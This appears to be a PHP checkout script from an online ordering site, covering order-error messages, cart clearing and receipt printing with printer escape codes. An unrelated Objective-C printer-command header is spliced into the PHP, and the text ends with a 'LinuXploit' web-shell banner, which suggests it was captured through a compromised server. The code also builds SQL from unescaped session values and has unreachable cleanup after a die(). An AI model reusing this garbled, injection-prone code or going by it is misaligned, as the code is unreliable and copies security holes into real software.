	    	echo "<center>We've received your order. However, we are experiencing difficulty with our email notification system. <br>You may not receive an email confirmation. Please call the store to verify they received your order. </center>";
	    } elseif($store_email_error==1){
	    	echo "<center>We've received your order. However, we are experiencing difficulty with our email notification system. <br>You should receive an email confirmation, but please contact the store to verify they received it. </center>";
	    } elseif($guest_email_error==1){
	    	echo "<center>We've received your order. However, we are experiencing difficulty with our email notification system. <br>You may not receive an email confirmation, but the store has received it. </center>";
	    }
	    if ($faxorders==1){
				 include('sendfax.php');
				 //echo ' order faxed to: ' . $faxnumber ;           //(for testing)
		}
	   
}else{ 
	   		echo '<div align="center"><br /><br /><font color="red">We apologize for the inconvenience, but there was an error transmitting your order to the store. Please call the store to place your order.</font> <br /><br /></div>';
	   		//remove any order number and items from database to clear from order history
	   		die("not deleted from queue...");
	   		$query = "DELETE from orderItem where orderNumber='$ordernum'";	
			mysql_query($query);
			$query = "DELETE from orders where orderNumber='$ordernum'";	
			mysql_query($query);
}


	  
	 
		if($order_error==0){     	
		  //empty cart
		  $query = 'Delete FROM cart where customerID = "' .  $_SESSION['UserKey'] . '"';
		  
		  mysql_query($query);
		   echo mysql_error();
		   
		  //reset user switches (delivery/carryout, payment method, etc)
			$query = 'Update guestLogin set upsellOffered=0, pickup=0, schedule="", tipamount="" where UserKey = "' .  $_SESSION['UserKey'] . '"';
			mysql_query($query);
				//clear session payment fields
				unset($_SESSION['cardholder']);
				unset($_SESSION['cardNumber']);
				unset($_SESSION['cardExpMonth']);
				unset($_SESSION['cardExpYear']);
				unset($_SESSION['cardSec']);
			//echo mysql_error();
      	}

	} else {
		//echo "user: ".$_SESSION['UserKey'];
		//echo "<br />pymt: ".$paymethod;
		//echo "<br />bad order: ".$bad_order;
		//echo "<br />message: ".$msg;
	}
	} else{  //end of if good row count loop
		echo "<div style='clear:both;'></div><br />
		We're sorry, but we seem to be experiencing a problem processing your order. If you accidentally clicked the 'back' button or refreshed the page after your order, you can disregard this message. 
		<br /><br />Otherwise, please call us at $store_phone to verify your order by phone.<br />
		<br />Thanks for your patronage - we appreciate your business!<br /><br /><br />";	
	}
	
} else{
	echo"<div style='clear:both;'></div><br />We're sorry, but we seem to be experiencing a problem processing your order. Please call us at $store_phone to place your order by phone.<br /><br /><br />";
}

if($printdetail<>"" || $printheader<>""){
		
	//echo $printheader .  '<br>'.$printdetail;
	
	//enable the next line when credit card tips are available
	//$printtext =  $printheader .$printdetail."\n\n         Tip:   ________________________\n\n         Total: ________________________\n\n\nSign: ______________________________\n\n\n\n\n\n";
	$printtext =  $printheader .$printdetail."\n\n\n\n\nSign: ______________________________\n\n\n\n\n\n";
	
	//$file = fopen("test.txt","w");
	
	
	
	//save receipt to order in orders table - only save the single copy version
	$qry = "update orders set receipt_text = '".mysql_escape_string($printtext)."' where orderNumber ='$ordernum' and UserKey='".$_SESSION['UserKey']."'";
	mysql_query($qry);
	
	$printtext = $printtext . "\n\n \x1b\x64\x02 \n\n " . $printtext . "\n\n \x1b\x64\x02 \n\n " . str_replace("NEW ORDER", "CUSTOMER COPY", $printtext); //print 3 receipt copies
	
	//$printtext = $printtext . "\n\n \x1b\x64\x02 \n\n " . str_replace("NEW ORDER", "CUSTOMER COPY", $printtext); Original - prints 2 copies

	//add extra blank lines and cut command - not cutting automatically after changing content type
	$printtext = $printtext . "\n\n \x1b\x64\x02 \n\n";
	//buzzer command:
	$printtext = $printtext . "\x07";
	
	
	
	
	
	
	if($_SESSION['cloud_print']==1){ //must enable in admin_options table
		//if print_queue doesn't exist, create it now. 
		$directoryName = 'print_queue/archive/';
		if(!is_dir($directoryName)){
		    mkdir($directoryName, 0755, true);
		}
		//save order receipt to print_queue
		$target = "print_queue/".$ordernum.".txt";
		$file = fopen($target,"w");
		fwrite($file,$printtext);
		fclose($file);		
	}
	
}

$_SESSION['order_type']="unknown"; //reset so it prompts for each order
$_SESSION['favorite_name']="";

 ?>
 <!--<div align="center"><br/><br/>Order easier next time:
 <br /><a style="cursor:hand" onClick="window.external.addfavorite('<?php //include('webaddress.php');?>', document.title);">
 <img width=16 height=16 border=0 src='images/star.gif'> <u> Add to Favorites</u></a>  </div> -->
 <?php
 //
//  PrinterCommands.h
//  StarPrinting
//
//  Created by Matthew Newberry on 4/11/13.
//  OpenTable
//

/*typedef enum PrinterBarcodeType
{
    PrinterBarcodeTypeUPCE,
    PrinterBarcodeTypeUPCA,
    PrinterBarcodeTypeEAN8,
    PrinterBarcodeTypeEAN13,
    PrinterBarcodeTypeCode39,
    PrinterBarcodeTypeITF,
    PrinterBarcodeTypeCode128,
    PrinterBarcodeTypeCode93,
    PrinterBarcodeTypeNW7
} PrinterBarcodeType;*/

#define kPrinterCMD_Tab                 @"\x09"
#define kPrinterCMD_Newline             @"\x0A"

// Alignment
#define kPrinterCMD_AlignCenter         @"\x1b\x1d\x61\x01"
#define kPrinterCMD_AlignLeft           @"\x1b\x1d\x61\x00"
#define kPrinterCMD_AlignRight          @"\x1b\x1d\x61\x02"
#define kPrinterCMD_HorizTab            @"\x1b\x44\x02\x10\x22\x00"


// Text Formatting
#define kPrinterCMD_StartBold           @"\x1b\x45"
#define kPrinterCMD_EndBold             @"\x1b\x46"
#define kPrinterCMD_StartUnderline      @"\x1b\x2d\x01"
#define kPrinterCMD_EndUnderline        @"\x1b\x2d\x00"
#define kPrinterCMD_StartUpperline      @"\x1b\x5f\x01"
#define kPrinterCMD_EndUpperline        @"\x1b\x5f\x00"

#define kPrinterCMD_StartDoubleHW       @"\x1b\x69\x01\x01"
#define kPrinterCMD_EndDoubleHW         @"\x1b\x69\x00\x00"

#define kPrinterCMD_StartInvertColor    @"\x1b\x34"
#define kPrinterCMD_EndInvertColor      @"\x1b\x35"


// Cutting
#define kPrinterCMD_CutFull             @"\x1b\x64\x02"
#define kPrinterCMD_CutPartial          @"\x1b\x64\x03"


// Barcode
#define kPrinterCMD_StartBarcode        @"\x1b\x62\x06\x02\x02\x20" "12ab34cd56\x1e\r\n"
#define kPrinterCMD_EndBarcode          @"\x1e"
 ?>

Youez - 2016 - github.com/yon3zu
LinuXploit